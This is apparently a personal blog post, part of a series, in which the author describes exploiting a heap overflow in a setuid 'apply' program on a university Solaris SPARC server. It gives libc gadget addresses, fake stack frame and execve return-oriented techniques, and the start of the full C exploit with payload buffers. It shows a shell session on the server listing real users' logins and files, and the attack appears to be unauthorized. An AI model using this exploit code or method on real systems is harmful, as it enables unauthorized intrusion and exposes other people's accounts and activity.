The Big One – Pt. X

I studied the stack frames more…

You can return from buffer overflow into a code segment with a ret restore.
you can set %fp to a fake stack frame with fake” %i and %l registers. This “fake” %i7 points to somewhere in libc with the trap call to execve.. During the ret/restore, the fake stack frames %i registers will be loaded into %o registers, which are not depicted in the stack memory.. %o registers only ever get saved to stack memory and become the next stack frame’s %i values, or they get loaded from %i regs memory during a ret/restore.

So first we must search in LibC for the following sequences:

0x000114b8 <main+868>:  ret
0x000114bc <main+872>:  restore
End of assembler dump.
(gdb) x/2x 0x000114b8
0x114b8 <main+868>:     0x81c7e008      0x81e80000

0xff31d174 <execve+0>:  mov  0x3b, %g1  ! 0x3b
0xff31d178 <execve+4>:  ta  8

(gdb) x/2x 0xff31d174
0xff31d174 <execve>:    0x8210203b      0x91d02008

for Life, these address are:

Ret/Restore@ 0xff31815c
execve@ 0xff31d174
/bin/sh@ 0xff32a1d0

Note execve is a leaf function, and if it fails, it will infinitely execute itself… dangerous stuff.. There is no way to return to exit() in this style of programming, but it’s easier to find these opcodes than it is to find system() and exit(). Although with a little more, it’s possible to find them too.. I’m just not interested in that, I think I can pass without it.

Safe zone for null pointer @ 0xffbeb000 (from the new page we allocate to the stack). Can be used for **envp

In order to create an **argv, we need to find a place after the fake frame buffer in the stack where a whole word is null, and place the pointer to /bin/sh immediately before it.. But.. how can we query for null bytes? Simple, make sure the “first” query is on an aligned address. if the result is ” 1) \n” then it is a null byte.. increment the address by 1 up to 3 times to ensure you have found a null byte..

Getting back to finding System() is easy. execve() is simply an address of the g1 load and trap instruction.. Once you find the address of that, you can do some math to create a call instruction based on the target address.

if the target PC is 0x10628 and it’s trying to call 0x1061c. Get the difference: 0x0C. Multiply by 4.
since it is negative, XOR 0xFFFFFF + 1, RSH >> 2, add the top 2 bits 01.
In math, that’s

if (PC > DEST)
{
  opcode = ( ( ( (PC - DEST)  ^ 0xFFFFFFFF) + 1) >> 2) | 0x40000000;
}
else
{
  opcode = ( (DEST - PC) >> 2) | 0x40000000;
}

Once I find the address of the call instruction, I find the first save instruction before it.

To do that,

0x81E02000

skeleton save instruction to & against. A couple of these bits need to be ensured that they are 0 as well.
Screenshot 2014-10-20 07.35.55

blade60:

execve@ 0xff31c65c

Exit Trap codes

(gdb) disas exit
Dump of assembler code for function exit:
0xff32025c <exit+0>:    save  %sp, -96, %sp
0xff320260 <exit+4>:    mov  %o7, %g1
0xff320264 <exit+8>:    call  0xff32026c <exit+16>
0xff320268 <exit+12>:   sethi  %hi(0x1bc00), %o5
0xff32026c <exit+16>:   or  %o5, 0x1a4, %o5     ! 0x1bda4
0xff320270 <exit+20>:   add  %o5, %o7, %o5
0xff320274 <exit+24>:   mov  %g1, %o7
0xff320278 <exit+28>:   ld  [ %o5 + 0xe7c ], %g1
0xff32027c <exit+32>:   st  %fp, [ %g1 ]
0xff320280 <exit+36>:   call  0xff33e4cc <_exithandle@plt>
0xff320284 <exit+40>:   nop
0xff320288 <exit+44>:   restore
0xff32028c <exit+48>:   mov  1, %g1
0xff320290 <exit+52>:   ta  8
End of assembler dump.
(gdb) x/2x 0xff32028c
0xff32028c <exit+48>:   0x82102001      0x91d02008
(gdb)

LIFE

execve@ 0xff31d174

Well, the code to search for system() in the context of the format strings in the heap overflow proved difficult, but I had it working at one point. I could actually identify the beginning of system() and exit() routines based on creating the correct opcode “call” to the execve address I found, and holding onto the “save” instruction found before. Take note that expecting to find the “save” instruction beforehand is a little risky, you may have not found one and will have to start the search from lower memory..

Anyways, the bugs surfaced in my code, and it was so long-windedly written that I could not solve. So, I went back to my other solution, calling execve directly, although it’s risky (infinite recursion if execve fails). You need to be 100% confident in your remote libc queries.. Honestly, I would prefer fixing my code to find system() and exit() any day over this, but I’m impatient and desperate, and confident, so I went to try the execve!! The first time I tried the execve approach with incorrect string address and I incurred the infinite recursion – top shows the command as taking 97% of the CPU lol. I’m glad sys admins didn’t get a chance to see that :)

I got it to work too, I just came out of having shell access on blade60. The remote administration server!! WOO HOO! <3 Here's a snippet from my successful exploit:

Stack Peek: 0xffbefcd5Press RETURN to see menu again; 'q' to quit adding groups; '?' for more help.
                                                                                                   Please enter a group number [1-43] or command [cptqx?] : FOUND fsf1_sp @ 0xffbefd18These are the categories of accounts:
                                                                             1) $$   $
                                                                                            2) gradgrad  - Not in a courseSystem Administrator
     3) it114-1Intro Java part 1Prof. C. Kelly cs114, too
                                                          4) it115-1Intro Java part 2Prof. J. Mitzman cs115, too
                                                                                                                 5) it244-1Intro Linux/UNIXProf. G. Hoffman Sections 1-3
                          6) it244-4Intro Linux/UNIXProf. M. Hellwig
                                                                          7) it246-2Intro NetworksProf. A. Bird
                                                                                                                     8) it341-1Intro Sys AdminProf. A. Bird
                  9) it341-2Intro Sys AdminProf. G. Hoffman
                                                                10) it441-1Network Services AdminProf. A. Bird All sections
                                                                                                                           11) it442-1Windows System AdminProf. S. Tran All sections
                                     12) it443-1Network SecurityProf. R. Cheung
                                                                                    13) it485-1IT CapstoneProf. M. Hellwig
                                                                                                                               14) cs105-1Intro Computer ConceptsProf. A. Delibas
                                       15) cs108-1Intro PythonProf. W. Campbell
                                                                                    16) cs110-1Intro to ComputingProf. R. Wilson Sections 1-4
                                                                                                                                             17) cs110-5Intro to ComputingProf. S. Iyer Sections 5-6
                                                     18) cs110-7Intro to ComputingProf. D. Pletea Sections 7-8
                                                                                                              19) cs110-50Intro to ComputingProf. H. Budiman Navitas
                     20) cs119-1Computer Lang. SupplementProf. R. Wilson
                                                                             21) cs187-1Science Gateway SeminarProf. D. Tran it187, too
                                                                                                                                       22) cs210-1Intermediate ComputingProf. R. Wilson All sections
                                                     23) cs240-1Programming in CProf. R. Cheung
                                                                                                    24) cs285-1Social Issues and EthicsProf. A. Potasznik it285, too
                     25) cs310-1Advanced AlgorithmsProf. N. Haspel
                                                                       26) cs320-1Applied Discrete MathProf. E. Bolker
                                                                                                                           27) cs420-1Intro Theory ComputationProf. D. Tran
                                 28) cs443-1Mobile ApplicationsProf. B. Sheng
                                                                                  29) cs444-1Intro Operating SystemsProf. M. Ouyang
                                                                                                                                        30) cs446-1Intro InternetworkingProf. D. Tran
                                           31) cs450-1Higher Level LanguagesProf. C. Offner
Press RETURN to see menu again; 'q' to quit adding groups; '?' for more help.                   --More--
                                                                             Please enter a group number [1-43] or command [cptqx?] : Do you want to just forget the whole thing (y or n)? Press RETURN to see menu again; 'q' to quit adding groups; '?' for more help.
                                                                                                                         Please enter a group number [1-43] or command [cptqx?] : $ $ w
  1:35am  up 14 day(s), 10:49,  8 users,  load average: 0.16, 0.05, 0.07
User     tty           login@  idle   JCPU   PCPU  what
jkhan    pts/1        Thu 5pm 2days   4:10   1:00  ssh mx1
rickm    pts/2        Fri 8am     4   4:06     18  vi Makefile
jdelreal pts/3        Sat 9am 3days     10     10  ssh cups2
lbarrett pts/4         9:34am 13:04      9      9  ssh vm22
rickm    pts/5         1:44pm  7:57      3      1  /bin/tcsh -m
hdeblois pts/6        Thu12pm 5days                less
jkhan    pts/7         7Oct14 9days                ssh mx1
apply    pts/8         1:34am            3         w
$ w
  1:35am  up 14 day(s), 10:49,  8 users,  load average: 0.14, 0.05, 0.07
User     tty           login@  idle   JCPU   PCPU  what
jkhan    pts/1        Thu 5pm 2days   4:10   1:00  ssh mx1
rickm    pts/2        Fri 8am     4   4:06     18  vi Makefile
jdelreal pts/3        Sat 9am 3days     10     10  ssh cups2
lbarrett pts/4         9:34am 13:04      9      9  ssh vm22
rickm    pts/5         1:44pm  7:58      3      1  /bin/tcsh -m
hdeblois pts/6        Thu12pm 5days                less
jkhan    pts/7         7Oct14 9days                ssh mx1
apply    pts/8         1:34am            3         w
$ w
  1:35am  up 14 day(s), 10:49,  8 users,  load average: 0.13, 0.05, 0.07
User     tty           login@  idle   JCPU   PCPU  what
jkhan    pts/1        Thu 5pm 2days   4:10   1:00  ssh mx1
rickm    pts/2        Fri 8am     4   4:06     18  vi Makefile
jdelreal pts/3        Sat 9am 3days     10     10  ssh cups2
lbarrett pts/4         9:34am 13:04      9      9  ssh vm22
rickm    pts/5         1:44pm  7:58      3      1  /bin/tcsh -m
hdeblois pts/6        Thu12pm 5days                less
jkhan    pts/7         7Oct14 9days                ssh mx1
apply    pts/8         1:34am            3         w
$ ls -la
total 2403
drwxrwxr-x   8 apply    faculty     1024 Oct 20 09:56 .
dr-xr-xr-x   6 root     root           6 Oct 21 01:21 ..
-rw-------   1 apply    dummies       64 Sep  7  2011 .Xauthority
-rw-r--r--   1 apply    root           0 Sep 14  1990 .hushlogin
-rw-r--r--   1 apply    other          0 Sep  3  1996 .plan
drwx------   2 apply    other-sol     512 Jan 28  2013 .ssh
-rw-r--r--   1 apply    other       1685 Jan 23  2012 Announce
drwxr-xr-x   3 apply    other      10240 Oct 16 13:24 HIST
drwxr-xr-x   2 apply    other        512 May 30  2012 OHNO
drwxr-xr-x   4 apply    root        4096 Aug 30 09:28 OLD
-rw-r--r--   1 apply    other       1080 Feb 12  2007 README.cs680
drwxr-xr-x   2 apply    other       3072 Oct 16 13:24 SAVE
drwxr-xr-x   3 apply    other        512 Aug 31 10:21 TRY
lrwxrwxrwx   1 apply    other-sol      37 Oct 27  2003 accounts-requests -> /data/mail-archives/accounts-requests
lrwxrwxrwx   1 apply    root          14 Jan  8  2003 add_groups -> src/add_groups
-rw-r--r--   1 root     ugrad          0 Oct 16 13:24 applications.deferred
-rw-r--r--   1 apply    other     737989 Oct 16 12:38 applications.log
-rw-r--r--   1 apply    ugrad        116 Oct 20 09:56 applications.queued
-rw-r--r--   1 apply    other        423 Oct  1 14:03 applications.rejected
-rws--x--x   2 apply    root       29644 Aug 30 09:18 apply
-rws--x--x   2 apply    root       29644 Aug 30 09:18 apply.f14
-rwxr-x---   1 apply    other       4319 Oct 16 14:46 class-group-dir-fix.sh
-rwxr-xr-x   1 apply    other        408 Aug 31 10:40 class-group-dir-mk-list.pl
-rwxr--r--   1 apply    other       2272 Aug 31 10:18 class-group-dir-report.sh
-rw-r--r--   1 root     other-sol    1365 Sep 29 17:03 class-group-dir.list
-rw-------   1 root     ugrad     269160 Oct 16 13:25 core
-rwxr-xr-x   1 apply    other        670 Sep  1 11:30 dummy.sh
-rw-r--r--   1 root     other-sol    5278 Sep 19 14:32 foo.9022
-rw-r--r--   1 apply    other          0 Oct 16 12:39 groups.add
-rw-r--r--   1 apply    other       1562 Sep 16 14:55 howto.add.course
-rw-r--r--   1 apply    other      13876 Sep  3 14:14 howto.new.semester
lrwxrwxrwx   1 apply    root          16 Jan  8  2003 log -> applications.log
-rw-------   1 apply    other-sol    1183 Oct  9  2012 math_accounts
-rwxr-xr-x   1 apply    root         121 Sep  4  2007 notyet.sh
lrwxrwxrwx   1 apply    root          19 Jan  8  2003 q -> applications.queued
lrwxrwxrwx   1 apply    root           9 Jan  8  2003 reply -> src/reply
-rwxr-xr-x   1 root     root       29552 Aug 30 09:18 reply.real
-rwxr-xr-x   1 apply    root       29536 Jan 24  2013 reply.real.OLD
-rw-r--r--   1 root     other-sol    5428 Sep 19 14:20 setup
lrwxrwxrwx   1 apply    root          18 Jan  8  2003 src -> /sources/apply-1.2
$ w
  1:36am  up 14 day(s), 10:50,  8 users,  load average: 0.07, 0.04, 0.06
User     tty           login@  idle   JCPU   PCPU  what
jkhan    pts/1        Thu 5pm 2days   4:10   1:00  ssh mx1
rickm    pts/2        Fri 8am     5   4:06     18  vi Makefile
jdelreal pts/3        Sat 9am 3days     10     10  ssh cups2
lbarrett pts/4         9:34am 13:04      9      9  ssh vm22
rickm    pts/5         1:44pm  7:58      3      1  /bin/tcsh -m
hdeblois pts/6        Thu12pm 5days                less
jkhan    pts/7         7Oct14 9days                ssh mx1
apply    pts/8         1:34am     1      3         w
$ id
uid=1001(apply) gid=27(dummies)
$ hostname
blade60.cs.umb.edu
$ cat /etc/system
* /config/etc/system.db installed as db:/etc/system
* Modified IAW db2 installation instructions by rickm 7/1996
* This should do fine for aruba, too.  Plenty of resources.
*
* NOTICE: Do not edit the copy of this file that is installed!
* Any changes will be lost when it is overwritten by the master copy.
*
*ident  "@(#)system     1.15    92/11/14 SMI" /* SVR4 1.5 */
*
* SYSTEM SPECIFICATION FILE
*

* moddir:
*
*       Set the search path for modules.  This has a format similar to the
*       csh path variable. If the module isn't found in the first directory
*       it tries the second and so on. The default is /kernel /usr/kernel
*
*       Example:
*               moddir: /kernel /usr/kernel /other/modules



* root device and root filesystem configuration:
*
*       The following may be used to override the defaults provided by
*       the boot program:
*
*       rootfs:         Set the filesystem type of the root.
*
*       rootdev:        Set the root device.  This should be a fully
*                       expanded physical pathname.  The default is the
*                       physical pathname of the device where the boot
*                       program resides.  The physical pathname is
*                       highly platform and configuration dependent.
*
*       Example:
*               rootfs:ufs
*               rootdev:/sbus@1,f8000000/esp@0,800000/sd@3,0:a
*
*       (Swap device configuration should be specified in /etc/vfstab.)



* exclude:
*
*       Modules appearing in the moddir path which are NOT to be loaded,
*       even if referenced. Note that `exclude' accepts either a module name,
*       or a filename which includes the directory.
*
*       Examples:
*               exclude: win
*               exclude: sys/shmsys



* forceload:
*
*       Cause these modules to be loaded at boot time, (just before mounting
*       the root filesystem) rather than at first reference. Note that
*       forceload expects a filename which includes the directory. Also
*       note that loading a module does not necessarily imply that it will
*       be installed.
*
*       Example:
*               forceload: drv/foo



* set:
*
*       Set an integer variable in the kernel or a module to a new value.
*       This facility should be used with caution.  See system(4).
*
*       Examples:
*
*       To set variables in 'unix':
*
*               set nautopush=32
*               set maxusers=40
*
*       To set a variable named 'debug' in the module named 'test_module'
*
*               set test_module:debug = 0x13

* From IBMdb2 instructions.
set msgsys:msginfo_msgmax = 65535
set msgsys:msginfo_msgmnb = 65535
set msgsys:msginfo_msgmap = 258
set msgsys:msginfo_msgmni = 256
set msgsys:msginfo_msgssz = 16
set msgsys:msginfo_msgtql = 128
set msgsys:msginfo_msgseg = 8192

set shmsys:shminfo_shmmax = 67108864
set shmsys:shminfo_shmseg = 16
set shmsys:shminfo_shmmni = 300

set semsys:seminfo_semmni = 128
set semsys:seminfo_semmap = 130
set semsys:seminfo_semmns = 256
set semsys:seminfo_semmnu = 256

* Increase the number of Pseudo-ttys to 256
set pt_cnt=256

* Disable exec into the stack, against buffer overruns.
set noexec_user_stack = 1
set noexec_user_stack_log = 1

$ uname -a
SunOS blade60.cs.umb.edu 5.8 Generic_108528-17 sun4u sparc SUNW,Sun-Blade-100
$ cat /etc/motd
Sun Microsystems Inc.   SunOS 5.8       Generic 64-bit  February 2000

 Welcome to blade60.cs.umb.edu, a SunBlade 150 (uIIe-S128)

                    Authorized users only.

$

Now that I’ve done it, I explain exactly how.
1) No-Exec stack, no knowledge of libc offsets.. Waht do?
a) Find a way to get information out of the program. In my case, I could heap overflow ibuf string ptr into a structure of char *ptrs. Be careful in ensuring everything between the buffer and the target can be maintained. In my case, there was an **environ that needed to be maintained at least as a pointer to NULL byte.
b) Write routines to query addresses of interest. Best if you can find a way to repeat this without crashing the program. I could do that :) Also best to have more knowledge of where to begin querying. For me, I had the benefit of knowing the start offsets of LibC and the stack by fierce comparison to other Solaris blade 100/150 systems. pmap is a great cmd. I had to take care of how the resultant information is presented.. As you know, sometimes I queried for opcodes with null bytes, and the fact that I had to display 3 addresses in a row, you need to take into account all these “form Factors” to correctly interpret what the program outputs for your memory peeking.

2) Hacking.. Literally, just thinking. Sometimes the program does things that traditional hacking tutorials don’t solve, or very few if one even talks about it.. This is real hacking. Solving these obstacles is the real deal. Breaking barriers. In my case, remotely querying libC address offsets was something entirely undocumented that I took into my own hands and had to write my own interpreter in the midst of my found heap overflow in the apply program. I couldn’t be happier with my level of 1337

3) Even after querying the libc addresses, I still had a problem. system() and execve all wanted their core argument in a “zero” register, %i0 and %o0… All of the target functions in the apply program will overwrite the %i0 register, which after ret becomes %o0… This was a big problem for me at first!! It meant that hacking the program would require knowledge of vulnerable function’s stack frame. Why? Return-Oriented Programming (ROP). You see, in SPARC, by ret/restoring, simply by ret/restoring, a hacker can control all %lX, %iX, and %oX variables directly, and, possibly with info disclosure you may be able to control the globals indirectly. It’s really up to your imagination and willingness to discover (or write an automated program to discover for you). I call fierce ROP (the mainstream ROP), whereas basic ROP on SPARC in my mind is just using ret/restore to utilize fake stack frames to gain direct control over the registers.
Once again, Groups() returned by loading a value over my %i0..I must be able to reference a “fake” stack frame supplied in the buffer (and therefore cirumventing the clobbered %i0). This was when the hacking started getting towards the edges of my intellect. I was hoping to get away without needing that knowledge, but I likey, and I wrote the info peek module, I had resources now.

Here’s how it works:
I analyzed + debugged apply and found that Groups() stack-frame memory+, found a free block of memory at least 0x40 bytes (stack frame for locals and i registers) I checked this by analyzing the Groups() function for “%sp” and “%fp” to figure out where the free memory was. I need to make sure the new %fp doesn’t cause other crucial data my buffer to get overwritten.. Once I find this “safe place,” make sure the exploit writes a buffer that will contain the fake stack frame at that good location. This is during the research stage a relative offset. For instance “I need the fsf to be at 0x44 bytes after the overwritten %i7.”

The way that the fake stack frame is utilized is by overwriting the vuln function’s caller’s %fp to point to the start of your stack frame. The can be guessed, or guaranteed with mem disclosure. At this point, I have mem peek so I can guarantee I hit right the first time. But without that, the program would have to be repeatedly brute forced to find a correct offset. The memory peek is a great ability because it can probably circumvent ASLR too. Plus you dont have to repeatedly crash the program. I am glad I found this great vulnerability. Info disclosure is way more important that I previously foretold.

You do math to find the correct value to put into vuln func’s caller’s %fp, that will directly reference the fsf. The fsf is 0x40 bytes, where first 0x20 is the %lX register values, and the last 0x20 are the %iX registers. This is how I can replace the clobbered %i0 from Group()’s return..

Now, the fsf has to have a valid %fp, somewhere in stack memory and I find that with system() in this case at least, was to use a %fp 0x100 above or 0x200 below the caller’s stack frame.

Currently, in my case, I had 2 options based on WHAT CAN DO.
1) Use fsf to target system() and exit() —< guaranteed to exit cleanly, I hope.. 2) Use fsf to targe execve() --< Guaranteed to be dangerous as hell. 1 is considered safer because you can return cleanly, but 2 is dangerous because if execve fails, given that it's a leaf function, it will return to itself infinitely. Can you say 97% CPU usage... Anyways, the MOST IMPORTANT THING, in the case of mine, remote LibC info disclosure, the MOST IMPORTANT THING is to make sure your info lookup routine is FLAWLESS. If it turns out that it isn't.. You are incurring a huge risk as you don't really know wtf you are referencing in memory.. Thus, I tried my routines on 3 different versions of LibC I had found "lying around." Each machine's libC I found different simply by doing a ls -l on /lib/ld.so.1, in my case.. I found the different versions by both trial/error, and this method:

bazz@blade72[pts/7][~] ldd -v ./apply_actual

   find object=libsocket.so.1; required by apply_actual
        libsocket.so.1 =>        /usr/lib/libsocket.so.1

   find object=libc.so.1; required by apply_actual
        libc.so.1 =>     /usr/lib/libc.so.1
   find version=libc.so.1
        libc.so.1 (SUNW_0.9) =>  /usr/lib/libc.so.1

   find object=libnsl.so.1; required by /usr/lib/libsocket.so.1
        libnsl.so.1 =>   /usr/lib/libnsl.so.1
   find version=libnsl.so.1
        libnsl.so.1 (SUNW_1.7) =>        /usr/lib/libnsl.so.1
        libnsl.so.1 (SUNWprivate_1.1) =>         /usr/lib/libnsl.so.1

   find object=libc.so.1; required by /usr/lib/libsocket.so.1
   find version=libc.so.1
        libc.so.1 (SUNW_1.19) =>         /usr/lib/libc.so.1
        libc.so.1 (SUNWprivate_1.1) =>   /usr/lib/libc.so.1

   find object=libdl.so.1; required by /usr/lib/libc.so.1
        libdl.so.1 =>    /usr/lib/libdl.so.1
   find version=libdl.so.1
        libdl.so.1 (SUNWprivate_1.1) =>  /usr/lib/libdl.so.1

   find object=libdl.so.1; required by /usr/lib/libnsl.so.1
   find version=libdl.so.1
        libdl.so.1 (SISCD_2.3) =>        /usr/lib/libdl.so.1

   find object=libc.so.1; required by /usr/lib/libnsl.so.1
   find version=libc.so.1
        libc.so.1 (SUNW_1.19) =>         /usr/lib/libc.so.1
        libc.so.1 (SUNWprivate_1.1) =>   /usr/lib/libc.so.1

   find object=libmp.so.2; required by /usr/lib/libnsl.so.1
        libmp.so.2 =>    /usr/lib/libmp.so.2
   find version=libmp.so.2
        libmp.so.2 (SUNW_1.1) =>         /usr/lib/libmp.so.2
        libmp.so.2 (SUNWprivate_1.1) =>  /usr/lib/libmp.so.2

   find object=libc.so.1; required by /usr/lib/libmp.so.2
   find version=libc.so.1
        libc.so.1 (SYSVABI_1.3) =>       /usr/lib/libc.so.1

   object=/usr/lib/libc.so.1; filter for /usr/platform/$PLATFORM/lib/libc_psr.so.1

   find object=/usr/platform/SUNW,Sun-Blade-100/lib/libc_psr.so.1; required by /usr/lib/libc.so.1
        /usr/platform/SUNW,Sun-Blade-100/lib/libc_psr.so.1

   object=/usr/lib/libdl.so.1; filter for /usr/lib/ld.so.1
bazz@blade72[pts/7][~] ls -l /usr/lib/libc.so.1
-rwxr-xr-x 1 root bin 1.2M Nov 27  2007 /usr/lib/libc.so.1
bazz@blade72[pts/7][~]

Earlier in this series is a picture of ls -l of 3 different libc .so files…

SO ONCE AGAIN, no matter 1 or 2, MAKE SURE YOUR MEMORY QUERYING IS FLAWLESS.
This can be tough if there are serious constraints in place. In my case, I always had to overflow 3 adjacent in memory and adjacently printed char * pointers. And in the case of the memory address having a null byte at the end, only one of the char * would print new address data… Then there was the formatting in place on that printed string form of memory. and how to query opcodes with null bytes in them.. Stuff like that you need to ensure is working PERFECTLY.

Query Current Stack Frame

Query the current stack frame by targeting known information to be on the stack. For me, that is the Groups() return address value, except that return address has a MSB null byte, so I make sure to in GDB, check the entire stack memory during that function’s execution in memory — to see if the 3 bytes of return address are present anywhere else.. THEY AREN’T — good I have a signature to search for.. Find the address of the signature, and understand the offset from it to target locations. “target locations” is a place in stack memory that you can use for the fsf, won’t be clobbered by calling function.

The reason for creating a fake stack frame is documented in a hacking article “http://www.groar.org/expl/intermediate/stack.txt” and I explained it above — it gives us greater control over the registers if we need it. in particular if the caller function clobbers a needed register…

I could go on and on, but I think you get the point…
I left off by talking about the 1,2 strategies, system() or execve().. In my circumstance, peeking for the system() was a fun challenge — and here is how anyone who is remotely querying libC would do it..
I found that all system()’s would call out to execve().. LibC execve() function is just a trap to execve on SPARC. Thus I searched for the trap signature in LibC. Once found that address, I can dynamically create call instruction opcodes, which change for every address tested, to find the one that calls execve. That function — I wonder if other functions call execve — I didn’t think about that 0_0.. Well then, make sure if libc has other functions that call execve.. Either way, you find that call, and then you trace back to the first “save” instruction before that call, and you have found “A” function. Hopefully it’s System(), but I didn’t think about multiple functions calling execve… HM, in that case, it’s worth either A) investigating a full memory peek of LibC which could take a long time hours in my circumstance, or just go ahead and use the execve address you just found… In my case, since my system() search routine had bugs and was monstrous (~600-1000 lines??) I went ahead for the already working searches I had to ret/restore and execve…

Ret/restore and Execve signatures are EXTREMELY SIMPLE to search for. in SPARC, they are just 8 bytes long.. Careful, the ret/restore has 2 null bytes at the end, you might want to check for them, or not..

Execve() wants:

%o0 - pointer to "/bin/sh"
%o1 - **argv, can be pointer to pointer to "/bin/sh"
%o2 - **envp -- can be pointer to NULL

and that’s exactly what I did..
I needed to find a spot in the STACK that had 4 bytes of 0 to act as the NULL word for **envp.
%o0 is set to the address of libC’s “/bin/sh”
%o1 is set to the address before the NULL address we just found,
The address before the NULL address becomes a pointer to %o0 in stack frame. **argv
%o2 is a pointer to the NULL word we just found.
Using a queried stack memory reference. I dynamically create a buffer with all of these values calculated on the fly.

If you were bruteforcing, it’s similar except you keep changing the stack reference address by 4..
Bruteforcing can be a guessing game but if I know where a popular location is for that app’s current stack.. I created an up/down search query for this type stuff but I never needed it:

Note: The hardcoded max/min should really become arguments to the function…

// UTILITY FUNC
updown_calc(uint32_t base, uint32_t moveamt, char reset )
{
    static char count=1;
    static char updown=1; // up = 1, down = 0
    //uint32_t base = 0xFFBEF400; // middle-of-stack
    //static uint32_t moveamt = 1004-16;        // #bytes of nop - 8 to give some gift
    uint32_t result; //calculated return address 
    char r; //remainder for 4-byte-alignment check
    // 0xFFBEF000
    // from here can go up $1000 or down $1000

    if (reset)
    {
        count=1;
        updown=1;
    }

    if (updown)
    {
        result = base + (moveamt*count);
        if ( (r=result%4) )
        {
            for (; r > 0; r--)
            {
                result--;
            }
        }
        if (result > 0xFFBEFFFF)
            result = 0xFFBEFFA0;
    }
    else
    {
        result = base - (moveamt*count);
        if ( (r=result%4) )
        {
            for (; r>0; r--)
            {
                result++;
            }
        }
        if (result < 0xFFBEE000)
            result = 0xFFBEE000;
    }

    updown = !updown;
    if (updown)
    {
        //moveamt = 2;
        count++;
    }
} // <br/>


Anyways, I think I’m ready to post the whole exploit..
NoteS: peek_exit is really peek_retrest but I was testing quickly. never updated..

#include <stdarg.h>
#include <sys/select.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <stropts.h>
#include <sys/conf.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stream.h>
#include <sys/stropts.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>


#include "CTRL_kb_mappings.h"

// APPLY HEADER FILE
#include "ply.h"

// Param_set settings
#define STACK_LINE_STR " 1) "
#define STACK_LINE_NUM 1
#define SYSTEM_LINE_STR " 1) "
#define SYSTEM_LINE_NUM 1
#define EXECVE_LINE_STR " 1) "
#define EXECVE_LINE_NUM 1
#define EXIT_LINE_STR " 1) "
#define EXIT_LINE_NUM 1
#define BINSH_LINE_STR " 1) "
#define BINSH_LINE_NUM 1

//////////////////////////////////////////////////////////////
// UNUSED COOL IDEA
//////////////////////////////////////////////////////////////
struct map
{
	char *str;
	uint32_t offset;
};

struct map exit_map[] = 
{ 
	{ "\x9d\xe3\xbf\xa0\x82\x10", 7 }, 
	{ "\x0f\x40", 4 },
	{ "\x02\x1b", 9 },
	{ "\x9a\x03\x40\x0f\x9e\x10", 7 },
	{ "\x01\xc2\x03\x6e\x7c\xfc\x20\x40", 9+8 },
	//{ "\x40", 2 },
	//{ "\x78\x93\x01", 6 },
	{ "\x81\xe8", 4},
	{ "\x82\x10\x20\x01\x91\xd0\x20\x08", 0} 
};
//////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////

#define RET_RESTORE_STR "\x81\xc7\xe0\x08\x81\xe8" // 0000
//
//
//
// It's a little risk not checking for the last 2 null bytes explicitly, 
// but I got away
#define EXECVE_TRAP_STR "\x82\x10\x20\x3b\x91\xd0\x20\x08"
#define EXIT_TRAP_STR "\x82\x10\x20\x01\x91\xd0\x20\x08"


//////////////////////////////////////////////////////////////
// UNUSED BUT WOULD HAVE BEEN IF system_peek didn't crash :( 
//////////////////////////////////////////////////////////////
#define SAVE_SKELETON 0x81E02000
#define SAVE_SKELETON_MUSTBEZERO_BITMASK (2 << 19)
// (target & SAVE_SKELETON) ==  SAVE_SKELECTON,
// with this is good but certain bits need to be exclusively OR'd
// bits 20 and 19
// ((target & SAVE_SKELETON) ==  SAVE_SKELECTON) && !(target & SAVE_SKELETON_MUSTBEZERO_BITMASK)
//////////////////////////////////////////////////////////////


#define max(x,y)	((x) > (y) ? (x) : (y))

// easy print to stderr wrapper
void print (const char *fmt, ...);


// expects TTY to be COOKED :)
unsigned long getaddr_from_user(const char *str)
{
	unsigned long addr;
	char baddr[20];
	char i;

	print(str);

	//scanf("%s", &baddr); 
	for (i=0; i < 20; i++)
	{
		char c = getchar();
		if (c == '\n')
		{
			if (i==0)
				return 1;
			baddr[i]='\0';
			break;
		}
		baddr[i]=c;
	}
	addr = strtoul( baddr, (void *)0, 0 );
	if (addr == 0)
	{
		fprintf(stderr, "something crapped out in conversion\n");
		//print("Not going to peek the stack :(\n");
		return 0;
	}
	print("addr = 0x%lx\n", addr);

	if ( !(addr & 0xff000000) || !(addr & 0x00ff0000) || !(addr & 0x0000ff00) )
	{
		print ("Null byte can only be in the LSB!!! Correct your mistake...\n");
		return 0;
	}

	return addr;
}

// unused but i leave it
char no[] = "nnnnnnnn";
#define nop "\x80\x18\x40\x01"
char fp[] = "\xff\xbe\xfe\x68";
char retaddr[] = "\xff\xbe\xf9\x38";	


#define BUFF_SIZE 8192   // 5000	
char buff[BUFF_SIZE];

uint32_t buff2_fp_offset=1096;
uint32_t buff2_i7_offset=1100;
// fsf = Fake Stack Frame
#define buff2_fsf1_offset 1168
uint32_t buff2_fsf1_i0=buff2_fsf1_offset+0x20;
uint32_t buff2_fsf1_i7=buff2_fsf1_offset+0x20+0x1c;
uint32_t buff2_fsf1_fp=buff2_fsf1_offset+0x20+0x1c-4;
char buff2[BUFF_SIZE] = 
"\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
